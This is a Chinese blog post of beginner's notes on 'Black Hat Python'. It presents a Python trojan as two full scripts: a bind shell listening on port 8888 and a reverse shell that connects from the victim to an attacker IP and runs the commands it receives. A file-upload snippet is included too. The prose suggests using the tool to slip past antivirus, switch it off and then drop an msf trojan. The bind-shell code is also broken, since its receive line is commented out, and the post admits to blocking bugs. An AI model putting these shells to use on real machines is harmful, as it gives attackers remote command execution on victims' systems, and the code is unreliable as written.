python小马,正向连接和逆向连接

读书笔记:Python黑帽子 黑客与渗透测试编程之道

首先向大家推荐一下我所看的这本书

python小马,正向连接和逆向连接_第1张图片
颜值还不错吧,200页不到,但是干货满满。

像我,基本没有 python 基础(只在 w3school 看过一点点语法,能看懂一点点别人的代码,自己完全不会写的那种),但是我现在能写下这篇文章已经很不错了,而且我也就才翻了20来页

当然咯,代码bug很多,但是木马还勉强能用(大神们请留步,麻烦指点一二 /抱拳)

最后还有一句,python 木马局限性大,毕竟一般人不会在自己电脑上装个 python 环境吧,按原书作者的话来说:

如果你进入目标企业的内网,没有任何工具进行攻击,甚至没法安装编译器。然而在很多情况下(我没进去过,不知道是不是很多情况,但作者说是肯定就是了 /滑稽),你会 惊讶 的发现目标安装了python(惊讶可能来自于不会用 /滑稽x2)

所以嗅着搞事情气息而来的人可以打消这个念头了。当然,我这三脚猫的代码能用来搞事,我也是十分荣幸了,哈哈哈

好吧,那就开始正文了
嗯。。。不对,还有一句,此书不介绍爬虫,只讲工具编写,而且很多还是到处可以下载的工具,比如我现在在看的是一个简单的 netcat 代替工具


正向连接

在目标主机下保存如下 python 文件并运行(中间注释那段有点鸡肋,只是尝试一下新东西)

import socket
import sys
import getopt
import subprocess
import threading

bind_ip = '0.0.0.0'
bind_port = 8888

#try:
#	opts,args = getopt.getopt(sys.argv[1:],"t:p:",["target=","port="])
#except getopt.GetoptError as err:
#	print(str(err))


#for o,a in opts:
#    if o in ('-t','--target'):
#	    bind_ip = a
#    elif o in ('-p','--port'):
#        bind_port = int(a)
#    else:
#        assert False,'[*] Error Options'


server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((bind_ip,bind_port))
server.listen(5)


def run_command(client):
    while True:
        cmd = ''

        while '\n' not in cmd:
            #cmd = client.recv(1024).decode()    #方便测试,删了好,
            #print(cmd)							 #不能让别人知道你执行了什么命令
    
            try:
                output = subprocess.check_output(cmd,stderr=subprocess.STDOUT,shell=True)
            except:
                output = b"[*] Failed to execute command.\r\n"

            client.send(output)


client,addr = server.accept()
client_thread = threading.Thread(target=run_command,args=(client,))
client_thread.start()

本地运行

import socket
import getopt
import sys


def usage():
    usage_info = '''\r\n\r\n\r\n\r\n
        ***************************************************
        *               Salute to Justin Seitz            *
        ***************************************************

        Example:
            python3 client.py -t target_ip -p 80
          or
            python3 client.py --target=target_ip --port=80

'''
    print(usage_info)
    sys.exit()

if not len(sys.argv[1:]):
    usage()

try:
    opts,args = getopt.getopt(sys.argv[1:],'t:p:',['target=','port='])
except getopt.GetoptError as err:
    print(str(err))
    usage()

for a,o in opts:
    if a in ('-t','--target'):
        target = o
    elif a in ('-p','--port'):
        port = int(o)
    else: 
        assert False, '[*] Unhandled option'

client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
client.connect((target,port))

while True:
    print(')

    cmd = input()
    client.send(cmd.encode())

    response = client.recv(1024)
    print(response.decode())

暂时发现的问题:

  1. 命令结束只能用一个 回车,不然会阻塞
  2. 执行 useradd 可以成功,但是会阻塞

主要是阻塞的问题吧,一个不小心就死了,怪难受的

好像用处并不大,唯一的好处就是不那么容易被查杀,或许可以利用这个关闭杀软,然后传个 msf 的木马。好了,怎么利用就不讨论了,来说说程序

  1. socket 模块
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((bind_ip,bind_port))
server.listen(5)

意思是建立 TCP 连接,在 bind_ip:bind_port 上开启监听。其中 socket.AF_INET 代表使用标准的 IPv4 地址或主机名,SOCK.STREAM 说明使用 TCP ,UDP用 SOCK.DGRAM

client.connect((target,port))

主动与 target:port 建立连接,应该是完成三次握手的过程

client.send(bytes_data)

bytes_data = client.recv(1024)

一个发送数据,一个接受数据,注意是 bytes 不是 str

  1. subprocess 模块
 output = subprocess.check_output(cmd,stderr=subprocess.STDOUT,shell=True)

这个我还不是很懂,是用来将 string 型的变量 cmd 作为命令执行,之所以强调是 string 型的是因为传入的数据是 bytes 型的,如果用的 python3 就需要转码,不然就不能正确执行命令

其中 shell=True 看大佬们的解释是,有了该参数才能执行多个字符串的命令,我是了一下如果没有 shell=True 的话,“ls /” 就执行出错了

  1. sys 模块
    听说是和 os 模块一样,常用的一个模块,功能强大。在这里,我们主要用来获取传入的参数,如 argv[1:] 获取第一个参数后面的参数
    python小马,正向连接和逆向连接_第2张图片
    讲不太清,直接贴图了

  2. getopt 模块

try:
    opts,args = getopt.getopt(sys.argv[1:],'t:p:',['target=','port='])
except getopt.GetoptError as err:
    print(str(err))

‘t:p:’ 是短选项,如上图 使用 -p 80 正确获取参数,后面是长选项 使用 --port=80 ,短选项的冒号和长选项的等于号表示该选项后面有参数,不然 -p 80 中的 80 也会被作为选项,导致出错

  1. threading 模块
client_thread = threading.Thread(target=run_command,args=(client,))
client_thread.start()

这也是我不太懂的一个,这个呢。。主要是 进程 我不懂,计网教没教我都忘了,操作系统好像讲了,本来理论课就不喜欢听,还刚好赶上这学期上网课,更加听不进去了 /流下了不学无术的眼泪。

这模块逻辑还简单,给 run_command 函数创建一个进程,传入参数 args(注意是数组,虽然只有一个参数,但是后面的逗号不能少),然后开启进程



运行效果python小马,正向连接和逆向连接_第3张图片



反向连接

和正向基本类似,只不过让对方找你连接,适合你公网搞人家内网

先在自己主机上开启监听

import socket

bind_ip = '0.0.0.0'
bind_port = 8888

server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((bind_ip,bind_port))
server.listen(5)

client,addr = server.accept()
print('[*] Listening in %s:%d' % (addr[0],addr[1])) #0是IP,1是端口

while True:
    cmd = input()
    client.send(cmd.encode())

    re = client.recv(1024)
    print(re.decode())

然后在对方主机运行

import socket
import subprocess
import sys

ip = 'target_ip' #你的IP地址
port = 8888

server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.connect((ip,port))


while True:
    response = server.recv(1024)
       
    try:
        output = subprocess.check_output(response.decode(),stderr=subprocess.STDOUT,shell=True)
    except:
        output = b'[*] Failed to execute command\r\n'

    server.send(output)

同young的代码,同样的毛病。。。汗

我就不啰嗦了

最后附上原书文件上传的代码

		#读取所有的字符并写下目标
        file_buffer = ''
        
        #持续读取数据直到没有符合的数据
        while True:
            data = client_socket.recv(1024)

            if not data:
                break
            else:
                file_buffer += data

        #现在我们接收这些数据并将它们写出来
        try:
            file_descriptor = open(upload_destination,"wb")
            file_descriptor.write(file_buffer)
            file_descriptor.close()
			
			#确认文件已经写出来
            client_socket.send("Successfully saved file to%s\r\n" % upload_destination)
        except:
            client_socket.send("Failed saved file to%s\r\n" % upload_destination)

我现在最头疼的就是那个 回车后阻塞 的问题了,麻烦路过的大佬指点一二

你可能感兴趣的:(python)